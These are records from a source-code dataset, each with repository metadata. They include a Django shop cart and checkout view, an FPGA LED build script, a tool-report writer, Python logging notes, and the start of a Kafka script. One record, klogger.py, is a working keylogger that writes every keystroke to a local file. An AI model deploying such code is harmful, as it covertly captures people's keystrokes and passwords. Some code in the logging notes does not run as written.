@swagger_auto_schema(\n operation_description=\"Obtener lista de productos\",\n responses={200: ProductoSerializer(many=True)},\n )\n def get(self, request, *args, **kwargs):\n return super().get(request, *args, **kwargs)\n\n @swagger_auto_schema(\n operation_description=\"Insertar un nuevo producto\",\n responses={200: ProductoSerializer()},\n )\n def post(self, request, *args, **kwargs):\n return super().post(request, *args, **kwargs)\n\n\n def get_serializer_class(self):\n if self.request.method == 'POST': \n return ProductoCreateSerializer\n return ProductoSerializer\n \n \nclass ProductoRUDView(generics.RetrieveUpdateDestroyAPIView):\n queryset = Producto.objects.filter(eliminado=False)\n serializer_class = ProductoSerializer\n def perform_destroy(self, producto): \n producto.eliminado = True\n producto.fechaEliminacion=date.today()\n producto.save()\n\n\n \n\n@swagger_auto_schema(method='GET', responses={200: ProductoCarritoSerializer(many=True)}, \n operation_description=\"\"\" Muestra la lista de los productos que hayan sido añadidos y\n el sumatorio del total de los productos añadidos\"\"\") \n@swagger_auto_schema(method='POST', request_body=ProductoCarritoSerializerPost, responses={200: ProductoCarritoSerializerPost()},\n operation_description=\"\"\"Agrega elementos al carrito junto con la cantidad de dicho producto que se quiere añadir (por defecto la cantidad es una unidad \n Cantidades negativas restarán elementos del carrito. El stock deberá ser actualizado en\n cuanto el producto entre al carrito\"\"\")\n\n@api_view(['POST','GET'])\ndef carrito(request):\n pendiente = Carrito.objects.filter(fecha=date.today(), compra=False).first()\n if request.method=='GET': \n if not pendiente:\n return Response({\"productos\": [], \"total\": 0}, status=status.HTTP_200_OK)\n \n productos_carrito = ProductoCarrito.objects.filter(carrito=pendiente)\n total_carrito = sum(item.producto.precioUnidad * item.cantidad for item in productos_carrito) \n \n productos = []\n for item in productos_carrito:\n producto = {\n \"id\": item.producto.id,\n \"descripcion\": item.producto.descripcion,\n \"urlFoto\": item.producto.urlFoto,\n \"cantidad\": item.cantidad,\n \"precioUnidad\": item.producto.precioUnidad\n }\n productos.append(producto)\n\n return Response({\"productos\": productos, \"total\": total_carrito}, status=status.HTTP_200_OK)\n\n\n\n if request.method=='POST': \n if not pendiente:\n pendiente = Carrito.objects.create()\n\n # Obtener datos del producto y cantidad desde el cuerpo de la solicitud\n data = request.data\n id = data.get('producto')\n cantidad = data.get('cantidad', 1)\n print(f\"ID {id}\")\n producto = get_object_or_404(Producto, pk=id, eliminado=False)\n\n\n\n if cantidad > producto.stockActual:\n return Response({\"Error\": \"Sin Stock\"},\n status=status.HTTP_400_BAD_REQUEST)\n\n\n producto_carrito, created = ProductoCarrito.objects.get_or_create(\n carrito=pendiente,\n producto=producto,\n defaults={'cantidad': cantidad}\n )\n\n if not created:\n producto_carrito.cantidad += cantidad\n producto_carrito.save()\n\n\n producto.stockActual -= cantidad\n producto.save()\n\n serializer = ProductoCarritoSerializer(producto_carrito)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n@swagger_auto_schema(method='POST', request_body=openapi.Schema(\n type=openapi.TYPE_OBJECT, \n properties={\n 'nombre': openapi.Schema(type=openapi.TYPE_STRING, description='Nombre'),\n 'apellidos': openapi.Schema(type=openapi.TYPE_STRING, description='Apellidos'),\n 'direccion': openapi.Schema(type=openapi.TYPE_STRING, description='Direccion'),\n 'email': openapi.Schema(type=openapi.TYPE_STRING, description='email'),\n 'telefono': openapi.Schema(type=openapi.TYPE_STRING, description='telefono'),\n },\n required=['nombre', 'apellidos','direccion','email']\n ),\n responses={\n 200: openapi.Response(\n description=\"Compra finalizada\", \n ),\n 400: \"Carro vacio\", \n },\n operation_description=\"\"\"\n Recibe un formulario con los datos personales del cliente:\n nombre, apellidos, dirección postal, email y teléfono. Simulamos la compra enviando al\n cliente un email con el resumen de su compra.\"\"\")\n@api_view(['POST'])\ndef compra(request):\n \n pendiente = Carrito.objects.filter(fecha=date.today(), compra=False).first()\n\n if not pendiente:\n return Response({\"Error\": \"No hay productos en el carrito\"}, status=status.HTTP_400_BAD_REQUEST)\n\n data = request.data\n nombre = data.get('nombre')\n apellidos = data.get('apellidos')\n direccion = data.get('direccion')\n email = data.get('email')\n telefono = data.get('telefono')\n\n \n pendiente.compra = True\n pendiente.save()\n\n \n productos_carrito = ProductoCarrito.objects.filter(carrito=pendiente) \n total_compra = sum(item.producto.precioUnidad * item.cantidad for item in productos_carrito)\n\n # Crear el contenido del correo electrónico\n body = f\"Resumen de compra en Gorras&Kmisetas:\\n\\n\"\n for item in productos_carrito:\n body += f\"{item.cantidad} x {item.producto.descripcion} {item.producto.precioUnidad} €\\n\"\n\n body += f\"\\nTotal: {total_compra} €\\n\" \n body += f\"\\nGracias por su compra, {nombre} {apellidos}.\"\n remitente=\"ventas@gorraskmisetas.com\"\n mensaje = MIMEMultipart()\n mensaje['From'] = remitente\n mensaje['To'] = email\n mensaje['Subject'] = 'Resumen compra Gorras&kmisetas'\n mensaje.attach(MIMEText(body, 'plain'))\n print(body)\n try:\n servidor = mysmtp(\"localhost:25\")\n res=servidor.sendmail(remitente, email, mensaje.as_string())\n print(res)\n servidor.quit() \n except Exception as e: \n print(\"Error enviando email\",str(e))\n return Response({\"mensaje\": f\"Compra procesada correctamente. Se ha enviado un correo electrónico {email} con el resumen de su compra.\"}, status=status.HTTP_200_OK)\n\n", "repo_name": "jescolabcn/iati", "sub_path": "productos/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 8271, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "rest_framework.generics.ListAPIView", "line_number": 25, "usage_type": "attribute"}, {"api_name": "rest_framework.generics", "line_number": 25, "usage_type": "name"}, {"api_name": "models.Producto.objects.filter", "line_number": 26, "usage_type": "call"}, {"api_name": "models.Producto.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "models.Producto", "line_number": 26, "usage_type": "name"}, {"api_name": "serializers.ProductoSerializer", "line_number": 27, "usage_type": "name"}, {"api_name": "drf_yasg.utils.swagger_auto_schema", "line_number": 28, "usage_type": "call"}, {"api_name": "serializers.ProductoSerializer", "line_number": 30, "usage_type": "call"}, {"api_name": "rest_framework.generics.ListCreateAPIView", "line_number": 36, "usage_type": "attribute"}, {"api_name": "rest_framework.generics", "line_number": 36, "usage_type": "name"}, {"api_name": "models.Producto.objects.filter", "line_number": 37, "usage_type": "call"}, {"api_name": "models.Producto.objects", "line_number": 37, "usage_type": "attribute"}, {"api_name": "models.Producto", "line_number": 37, "usage_type": "name"}, {"api_name": "drf_yasg.utils.swagger_auto_schema", "line_number": 38, "usage_type": "call"}, {"api_name": "serializers.ProductoSerializer", "line_number": 40, "usage_type": "call"}, {"api_name": "drf_yasg.utils.swagger_auto_schema", "line_number": 45, "usage_type": "call"}, {"api_name": "serializers.ProductoSerializer", "line_number": 47, "usage_type": "call"}, {"api_name": "serializers.ProductoCreateSerializer", "line_number": 55, "usage_type": "name"}, {"api_name": "serializers.ProductoSerializer", "line_number": 56, "usage_type": "name"}, {"api_name": "rest_framework.generics.RetrieveUpdateDestroyAPIView", "line_number": 59, "usage_type": "attribute"}, {"api_name": "rest_framework.generics", "line_number": 59, "usage_type": "name"}, {"api_name": "models.Producto.objects.filter", "line_number": 60, "usage_type": "call"}, {"api_name": "models.Producto.objects", "line_number": 60, "usage_type": "attribute"}, {"api_name": "models.Producto", "line_number": 60, "usage_type": "name"}, {"api_name": "serializers.ProductoSerializer", "line_number": 61, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 64, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 64, "usage_type": "name"}, {"api_name": "models.Carrito.objects.filter", "line_number": 80, "usage_type": "call"}, {"api_name": "models.Carrito.objects", "line_number": 80, "usage_type": "attribute"}, {"api_name": "models.Carrito", "line_number": 80, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 80, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 80, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 83, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 83, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 83, "usage_type": "name"}, {"api_name": "models.ProductoCarrito.objects.filter", "line_number": 85, "usage_type": "call"}, {"api_name": "models.ProductoCarrito.objects", "line_number": 85, "usage_type": "attribute"}, {"api_name": "models.ProductoCarrito", "line_number": 85, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 99, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 99, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 99, "usage_type": "name"}, {"api_name": "models.Carrito.objects.create", "line_number": 105, "usage_type": "call"}, {"api_name": "models.Carrito.objects", "line_number": 105, "usage_type": "attribute"}, {"api_name": "models.Carrito", "line_number": 105, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 112, "usage_type": "call"}, {"api_name": "models.Producto", "line_number": 112, "usage_type": "argument"}, {"api_name": "rest_framework.response.Response", "line_number": 117, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 118, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 118, "usage_type": "name"}, {"api_name": "models.ProductoCarrito.objects.get_or_create", "line_number": 121, "usage_type": "call"}, {"api_name": "models.ProductoCarrito.objects", "line_number": 121, "usage_type": "attribute"}, {"api_name": "models.ProductoCarrito", "line_number": 121, "usage_type": "name"}, {"api_name": "serializers.ProductoCarritoSerializer", "line_number": 135, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 136, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 136, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 136, "usage_type": "name"}, {"api_name": "drf_yasg.utils.swagger_auto_schema", "line_number": 70, "usage_type": "call"}, {"api_name": "serializers.ProductoCarritoSerializer", "line_number": 70, "usage_type": "call"}, {"api_name": "drf_yasg.utils.swagger_auto_schema", "line_number": 73, "usage_type": "call"}, {"api_name": "serializers.ProductoCarritoSerializerPost", "line_number": 73, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 78, "usage_type": "call"}, {"api_name": "models.Carrito.objects.filter", "line_number": 162, "usage_type": "call"}, {"api_name": "models.Carrito.objects", "line_number": 162, "usage_type": "attribute"}, {"api_name": "models.Carrito", "line_number": 162, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 162, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 162, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 165, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 165, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 165, "usage_type": "name"}, {"api_name": "email.mime.multipart", "line_number": 171, "usage_type": "name"}, {"api_name": "models.ProductoCarrito.objects.filter", "line_number": 179, "usage_type": "call"}, {"api_name": "models.ProductoCarrito.objects", "line_number": 179, "usage_type": "attribute"}, {"api_name": "models.ProductoCarrito", "line_number": 179, "usage_type": "name"}, {"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 190, "usage_type": "call"}, {"api_name": "email.mime.multipart", "line_number": 192, "usage_type": "name"}, {"api_name": "email.mime.text.MIMEText", "line_number": 194, "usage_type": "call"}, {"api_name": "tools.mysmtp", "line_number": 197, "usage_type": "call"}, {"api_name": "email.mime.multipart", "line_number": 198, "usage_type": "argument"}, {"api_name": "rest_framework.response.Response", "line_number": 203, "usage_type": "call"}, {"api_name": "email.mime.multipart", "line_number": 203, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 203, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 203, "usage_type": "name"}, {"api_name": "drf_yasg.utils.swagger_auto_schema", "line_number": 138, "usage_type": "call"}, {"api_name": "drf_yasg.openapi.Schema", "line_number": 138, "usage_type": "call"}, {"api_name": "drf_yasg.openapi", "line_number": 138, "usage_type": "name"}, {"api_name": "drf_yasg.openapi.TYPE_OBJECT", "line_number": 139, "usage_type": "attribute"}, {"api_name": "drf_yasg.openapi", "line_number": 139, "usage_type": "name"}, {"api_name": "drf_yasg.openapi.Schema", "line_number": 141, "usage_type": "call"}, {"api_name": "drf_yasg.openapi", "line_number": 141, "usage_type": "name"}, {"api_name": "drf_yasg.openapi.TYPE_STRING", "line_number": 141, "usage_type": "attribute"}, {"api_name": "drf_yasg.openapi.Schema", "line_number": 142, "usage_type": "call"}, {"api_name": "drf_yasg.openapi", "line_number": 142, "usage_type": "name"}, {"api_name": "drf_yasg.openapi.TYPE_STRING", "line_number": 142, "usage_type": "attribute"}, {"api_name": "drf_yasg.openapi.Schema", "line_number": 143, "usage_type": "call"}, {"api_name": "drf_yasg.openapi", "line_number": 143, "usage_type": "name"}, {"api_name": "drf_yasg.openapi.TYPE_STRING", "line_number": 143, "usage_type": "attribute"}, {"api_name": "drf_yasg.openapi.Schema", "line_number": 144, "usage_type": "call"}, {"api_name": "drf_yasg.openapi", "line_number": 144, "usage_type": "name"}, {"api_name": "drf_yasg.openapi.TYPE_STRING", "line_number": 144, "usage_type": "attribute"}, {"api_name": "drf_yasg.openapi.Schema", "line_number": 145, "usage_type": "call"}, {"api_name": "drf_yasg.openapi", "line_number": 145, "usage_type": "name"}, {"api_name": "drf_yasg.openapi.TYPE_STRING", "line_number": 145, "usage_type": "attribute"}, {"api_name": "drf_yasg.openapi.Response", "line_number": 150, "usage_type": "call"}, {"api_name": "drf_yasg.openapi", "line_number": 150, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 159, "usage_type": "call"}]} {"seq_id": "15928995607", "text": "import logging\nimport sys\n\nfrom migen.build.xilinx.programmer import XC3SProg\n\nimport ledblaster\nfrom ledblaster.gateware.platforms.rv901t import Platform, hub75e\nfrom ledblaster.gateware.targets.rv901t import Target\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass ANSIColorFormatter(logging.Formatter):\n LOG_COLORS = {\n \"TRACE\" : \"\\033[37m\",\n \"DEBUG\" : \"\\033[36m\",\n \"INFO\" : \"\\033[1;37m\",\n \"WARNING\" : \"\\033[1;33m\",\n \"ERROR\" : \"\\033[1;31m\",\n \"CRITICAL\": \"\\033[1;41m\",\n }\n\n def format(self, record):\n color = self.LOG_COLORS.get(record.levelname, \"\")\n return \"{}{}\\033[0m\".format(color, super().format(record))\n\n\ndef main():\n handler = logging.StreamHandler()\n\n formatter_args = {\"fmt\": \"{levelname[0]:s}: {name:s}: {message:s}\", \"style\": \"{\"}\n if sys.stderr.isatty() and sys.platform != 'win32':\n handler.setFormatter(ANSIColorFormatter(**formatter_args))\n else:\n handler.setFormatter(logging.Formatter(**formatter_args))\n\n root = logging.getLogger()\n root.addHandler(handler)\n root.setLevel(logging.DEBUG)\n\n\n logger.info(\"ledblaster version {}\".format(ledblaster.__version__))\n\n logger.info(\"building gateware...\")\n platform = Platform()\n platform.add_extension(hub75e)\n\n target = Target(platform)\n platform.build(target)\n\n logger.info(\"loading gateware...\")\n prog = XC3SProg('xpc')\n prog.load_bitstream('build/top.bit')\n\n return 0\n", "repo_name": "q3k/ledblaster", "sub_path": "ledblaster/cli.py", "file_name": "cli.py", "file_ext": "py", "file_size_in_byte": 1472, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 11, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 14, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 30, "usage_type": "call"}, {"api_name": "sys.stderr.isatty", "line_number": 33, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 33, "usage_type": "attribute"}, {"api_name": "sys.platform", "line_number": 33, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 36, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 38, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 40, "usage_type": "attribute"}, {"api_name": "ledblaster.__version__", "line_number": 43, "usage_type": "attribute"}, {"api_name": "ledblaster.gateware.platforms.rv901t.Platform", "line_number": 46, "usage_type": "call"}, {"api_name": "ledblaster.gateware.platforms.rv901t.hub75e", "line_number": 47, "usage_type": "argument"}, {"api_name": "ledblaster.gateware.targets.rv901t.Target", "line_number": 49, "usage_type": "call"}, {"api_name": "migen.build.xilinx.programmer.XC3SProg", "line_number": 53, "usage_type": "call"}]} {"seq_id": "7071344866", "text": "from pynput.keyboard import Listener , Key\r\nimport logging\r\n\r\npath = \"C:\\\\Users\\\\User\\\\Desktop\\\\keylogger\"\r\nlogging.basicConfig(filename=(f\"{path}\\\\logfile.txt\"), \\\r\n level= logging.DEBUG , format= '%(asctime)s : %(message)s')\r\n\r\ndef keypress(Key):\r\n logging.info(str(Key))\r\n\r\nwith Listener(on_press = keypress) as listener:\r\n listener.join()", "repo_name": "ethicalpanther26/Keylogger", "sub_path": "klogger.py", "file_name": "klogger.py", "file_ext": "py", "file_size_in_byte": 367, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.basicConfig", "line_number": 5, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 6, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 9, "usage_type": "call"}, {"api_name": "pynput.keyboard.Key", "line_number": 9, "usage_type": "argument"}, {"api_name": "pynput.keyboard.Listener", "line_number": 11, "usage_type": "call"}]} {"seq_id": "6267190894", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Apr 27 10:13:06 2020\r\n\r\n@author: pisnm\r\n\"\"\"\r\nfrom datetime import datetime\r\nimport json as json\r\nfrom tools_param import *\r\n# =============================================================================\r\n# \r\n# =============================================================================\r\ndef write_Report_to_Apps(voltage,current,power,gen,batt,setup):\r\n \r\n output_file = open('calculation.txt','w')\r\n \r\n dateTimeObj = datetime.now()\r\n\r\n output_file.write(str(dateTimeObj.strftime(\"%Y-%m-%d, %H:%M:%S\")) + '\\n')\r\n\r\n for index_tool, tool in enumerate(setup,start=0):\r\n outFile_V = voltage[index_tool]\r\n outFile_I = current[index_tool]\r\n outFile_P = power[index_tool]\r\n outFile_Gen = gen[index_tool]\r\n outFile_Batt = batt[index_tool]\r\n \r\n if \"Load\" in setup[tool]: \r\n output_file.write(tool + ' ' \r\n + str(outFile_V) + '[V] ' \r\n + str(outFile_I) + '[A] '\r\n + str(outFile_P) + '[W] '\r\n + ' ') \r\n \r\n elif \"Generator\" in setup[tool] and setup[tool][\"Connected\"] == True: # enable \r\n output_file.write(tool + ' - ' \r\n + 'Generator: ' + ' '\r\n + str(outFile_V) + '[V] ' \r\n + str(outFile_Gen) + '[A] ' \r\n + ' ') \r\n \r\n elif \"Battery\" in setup[tool] and setup[tool][\"Connected\"] == True: #enable battery\r\n output_file.write(tool + ' - ' \r\n + 'Battery: ' + ' '\r\n + str(outFile_V) + '[V] ' \r\n + str(outFile_Batt) + '[A] ' \r\n + ' ') \r\n else:\r\n output_file.write(tool + ' ' \r\n + str(outFile_V) + '[V] ' \r\n + str(outFile_I) + '[A] ' \r\n + ' ') \r\n \r\n output_file.write('\\n')\r\n \r\n print('\\nSuccessfully write report to application')\r\n \r\n output_file.close()\r\n# =============================================================================\r\n# \r\n# =============================================================================\r\ndef write_Error_to_Apps(voltage,current,power,generator,battery,setup,database):\r\n \r\n power_tolerance = 0.01\r\n \r\n error_file = open('report.txt','w')\r\n \r\n dateTimeObj = datetime.now()\r\n \r\n error_file.write(str(dateTimeObj.strftime(\"%Y-%m-%d, %H:%M:%S\")) + '\\n')\r\n \r\n for index_tool, tool in enumerate(setup,start = 0): \r\n # checking Imax if source\r\n # Configure source (generator + battery)\r\n if \"Generator\" in setup[tool] and setup[tool][\"Connected\"] == True: # enable\r\n print('\\nChecking Imax on {} limit at: {} [A] '.format(tool,database[tool]['Source']['Imax'])) \r\n delta_gen = database[tool]['Source']['Imax'] - generator[index_tool]\r\n if current_fail(delta_gen) == True: \r\n error_file.write('\\nImax fail on Generator - ' + tool + ' ' \r\n + 'Limit: ' + str(database[tool]['Source']['Imax']) + ' [A]' \r\n + ' vs. '\r\n + 'Meas:' + str(generator[index_tool]) + ' [A]')\r\n else:\r\n error_file.write('\\nImax Pass on Generator - ' + tool + ' ' \r\n + 'Limit: ' + str(database[tool]['Source']['Imax']) + ' [A]' \r\n + ' vs. '\r\n + 'Meas: ' + str(generator[index_tool]) + ' [A]') \r\n\r\n elif \"Battery\" in setup[tool] and setup[tool][\"Connected\"] == True: #enable battery\r\n print('\\nChecking Imax on {} limit at: {} [A] '.format(tool,database[tool]['Source']['Imax'])) \r\n delta_batt = database[tool]['Source']['Imax'] - battery[index_tool] \r\n if current_fail(delta_batt) == True:\r\n error_file.write('\\nImax fail on Battery - ' + tool + ' '\r\n + 'Limit: ' + str(database[tool]['Source']['Imax']) + ' [A]'\r\n + ' vs. '\r\n + 'Meas: ' + str(battery[index_tool]) + ' [A]')\r\n else:\r\n error_file.write('\\nImax Pass on Battery - ' + tool + ' '\r\n + 'Limit: ' + str(database[tool]['Source']['Imax']) + ' [A]'\r\n + ' vs. '\r\n + 'Meas: ' + str(battery[index_tool]) + ' [A]')\r\n \r\n if \"Load\" in setup[tool]: \r\n # checking Power \r\n delta = round(abs(setup[tool]['Load'] - power[index_tool]),4)\r\n \r\n if power_fail(delta,power_tolerance) == True:\r\n print('\\nPower fail on {}: {} vs. {} , Difference: {} '.format(tool,setup[tool]['Load'],power[index_tool],delta))\r\n \r\n error_file.write('\\nPower fail on ' + tool + ': ' \r\n + str(setup[tool]['Load']) + ' [W] ' + ' vs. ' \r\n + str(power[index_tool]) + ' , Difference: '\r\n + str(delta))\r\n else:\r\n print('\\nPower pass on {}: {} vs. {} , Difference: {} '.format(tool,setup[tool]['Load'],power[index_tool],delta))\r\n \r\n error_file.write('\\nPower pass on ' + tool + ': ' \r\n + str(setup[tool]['Load']) + ' [W] ' + ' vs. ' \r\n + str(power[index_tool]) + ' , Difference: '\r\n + str(delta))\r\n error_file.write('\\n') \r\n \r\n \r\n error_file.close()\r\n \r\n print('\\nSuccessfully analyze the calcualtion result for the application')\r\n# =============================================================================\r\n# \r\n# =============================================================================\r\ndef power_fail(delta,tolerance): \r\n if delta > tolerance:\r\n return True\r\n else:\r\n return False\r\n# =============================================================================\r\n# \r\n# =============================================================================\r\ndef current_fail(delta): \r\n if delta < 0:\r\n return True\r\n else:\r\n return False\r\n# =============================================================================\r\n# Export JSON File - Tool Params\r\n# =============================================================================\r\ndef export_tool_param():\r\n with open('tool_params.json', 'w') as outFile:\r\n json.dump(tools_dict, outFile) \r\n# =============================================================================\r\n# Import JSON File - Tool Params\r\n# =============================================================================\r\ndef import_tool_param():\r\n with open('tool_params.json', 'r') as inFile:\r\n tool_params = json.load(inFile)\r\n return tool_params", "repo_name": "sillyTig3r94/Tokyo", "sub_path": "tool_analysis.py", "file_name": "tool_analysis.py", "file_ext": "py", "file_size_in_byte": 7135, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "datetime.datetime.now", "line_number": 17, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 17, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 68, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 68, "usage_type": "name"}, {"api_name": "json.dump", "line_number": 148, "usage_type": "call"}, {"api_name": "json.load", "line_number": 154, "usage_type": "call"}]} {"seq_id": "70657638950", "text": "# -*- coding: utf-8 -*-\n\nimport logging\n\n\n'''\n教程：\nhttp://www.jianshu.com/p/feb86c06c4f4\nhttp://python.jobbole.com/81666/\n日志级别：DEBUG, INFO, WARNING, ERROR, CRITICAL\n\n几个比较重要的概念： Logger, Handler, Formatter, Filter\nLogger 记录器， 保留了应用程序代码能直接使用的借口\nHandler 处理器， 将（记录器产生的）日志记录发送至合适的目的地\nFilter 过滤器，提供了更好的粒度控制，它可以决定输出哪些日志记录\nFormatter 格式化器，指明了最终输出中日志记录的布局\n\n使用接口之前必须创建 Logger 实例，即创建一个记录器，如果没有显式的进行创建，\n则默认创建一个root logger，并应用默认的日志级别(WARN)，\n处理器Handler (StreamHandler，即将日志信息打印输出在标准输出上)，\n和格式化器Formatter(默认的格式即为第一个简单使用程序中输出的格式)。\n'''\nhandler_name = \"test\"\nlogger = logging.getLogger('test')\nlogger.setLevel(logging.ERROR) # 设置日志级别为 ERROR， 即只有日志级别大于等于 ERROR 的日志才会输出\nlogger.addHandler(handler_name) # 为 Logger 实例增加一个处理器\nlogger.removeHandler(handler_name) # 为 Logger 实例删除一个处理器\n\n# logging.basicConfig(filename='logger.log', level=logging.INFO)\nlogging.basicConfig(level=logging.DEBUG,\n format='%(asctime)s %(name)-4s %(levelname)-4s %(message)s',\n datefmt='%m-%d %H:%M',\n filename='logger.log',\n filemode='w')\n\n# 创建 StreamHandler\nconsole = logging.StreamHandler(stream=None)\nconsole.setLevel(logging.INFO)\nlogging.getLogger('').addHandler(console)\n# 创建 FileHandler\nfh = logging.FileHandler(filename, mode='a', encoding=None, delay=False)\n# FOrmatter 格式化器\n# 使用Formatter对象设置日志信息最后的规则、结构和内容，默认的时间格式为%Y-%m-%d %H:%M:%S\n# fmt是消息的格式化字符串，datefmt是日期字符串。如果不指明fmt，将使用'%(message)s'。\n# 如果不指明datefmt，将使用ISO8601日期格式\nformatter = logging.Formatter(fmt=None, datefmt=None)\n# Filter 过滤器\n# Handlers 和 Loggers 可以使用 Filters 来完成比级别更复杂的过滤。\n# Filter 基类只允许特定 Logger 层次以下的事件。例如用 ‘A.B’ 初始化的 Filter 允许 Logger\n# ‘A.B’, ‘A.B.C’, ‘A.B.C.D’, ‘A.B.D’等记录的事件，logger‘A.BB’, ‘B.A.B’ 等就不行。\n# 如果用空字符串来初始化，所有的事件都接受。\nflt = logging.Filter(name='')\n# Logger 是一个树形层级结构;\n# Logger 可以包含一个或多个 Handler 和 Filter，\n# 一个 Logger 实例可以新增多个 Handler，一个 Handler 可以新增多个 Formatter, Filter，\n# 而且日志级别将会继承。\n\n\"\"\"\nlogging模块使用过程\n1, 第一次导入 logging 模块或使用 reload 函数重新导入 logging 模块，logging 模块中的代码\n 将被执行，这个过程中将产生logging日志系统的默认配置。\n2, 自定义配置(可选)。logging 标准模块支持三种配置方式: dictConfig，fileConfig，listen。\n 其中，dictConfig 是通过一个字典进行配置 Logger，Handler，Filter，Formatter；\n fileConfig 则是通过一个文件进行配置；而 listen 则监听一个网络端口，通过接收网络数据\n 来进行配置。当然，除了以上集体化配置外，也可以直接调用 Logger，Handler 等对象中的方法\n 在代码中来显式配置。\n3, 使用 logging 模块的全局作用域中的 getLogger 函数来得到一个 Logger 对象实例\n (其参数即是一个字符串，表示 Logger 对象实例的名字，即通过该名字来得到相应的 Logger\n 对象实例)。\n4, 使用 Logger 对象中的 debug，info，error，warn，critical 等方法记录日志信息。\n\nlogging 模块处理流程\n1, 判断日志的等级是否大于 Logger 对象的等级，如果大于，则往下执行，否则，流程结束。\n2, 产生日志。第一步，判断是否有异常，如果有，则添加异常信息。\n 第二步，处理日志记录方法(如debug，info等)中的占位符，即一般的字符串格式化处理。\n3, 使用注册到 Logger 对象中的 Filters 进行过滤。如果有多个过滤器，则依次过滤；\n 只要有一个过滤器返回假，则过滤结束，且该日志信息将丢弃，不再处理，而处理流程也至此结束。\n 否则，处理流程往下执行。\n4, 在当前 Logger 对象中查找 Handlers，如果找不到任何 Handler，则往上到该 Logger 对象\n 的父 Logger 中查找；如果找到一个或多个 Handler，则依次用 Handler 来处理日志信息。\n 但在每个 Handler 处理日志信息过程中，会首先判断日志信息的等级是否大于该 Handler 的等级，\n 如果大于，则往下执行(由 Logger 对象进入 Handler 对象中)，否则，处理流程结束。\n5, 执行 Handler 对象中的 filter 方法，该方法会依次执行注册到该 Handler 对象中的 Filter。\n 如果有一个 Filter 判断该日志信息为假，则此后的所有 Filter 都不再执行，而直接将该\n 日志信息丢弃，处理流程结束。\n6, 使用 Formatter 类格式化最终的输出结果。 注：Formatter 同上述第2步的字符串格式化不同，\n 它会添加额外的信息，比如日志产生的时间，产生日志的源代码所在的源文件的路径等等。\n7, 真正地输出日志信息(到网络，文件，终端，邮件等)。至于输出到哪个目的地，由 andler 的种类来决定。\n\"\"\"\n\n\ndef main():\n pass\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "enzocxt/snippets", "sub_path": "python/python_log.py", "file_name": "python_log.py", "file_ext": "py", "file_size_in_byte": 5747, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 24, "usage_type": "call"}, {"api_name": "logging.ERROR", "line_number": 25, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 30, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 30, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 37, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 38, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 39, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 41, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 46, "usage_type": "call"}, {"api_name": "logging.Filter", "line_number": 52, "usage_type": "call"}]} {"seq_id": "22606735090", "text": "from confluent_kafka import Consumer, KafkaException, Producer, KafkaError\nimport json\nimport threading\nimport time\n\nKAFKA_BROKER_URL = 'localhost:9092'\nKAFKA_TOPIC = 'sms-messages'\nSTATUS_TOPIC = 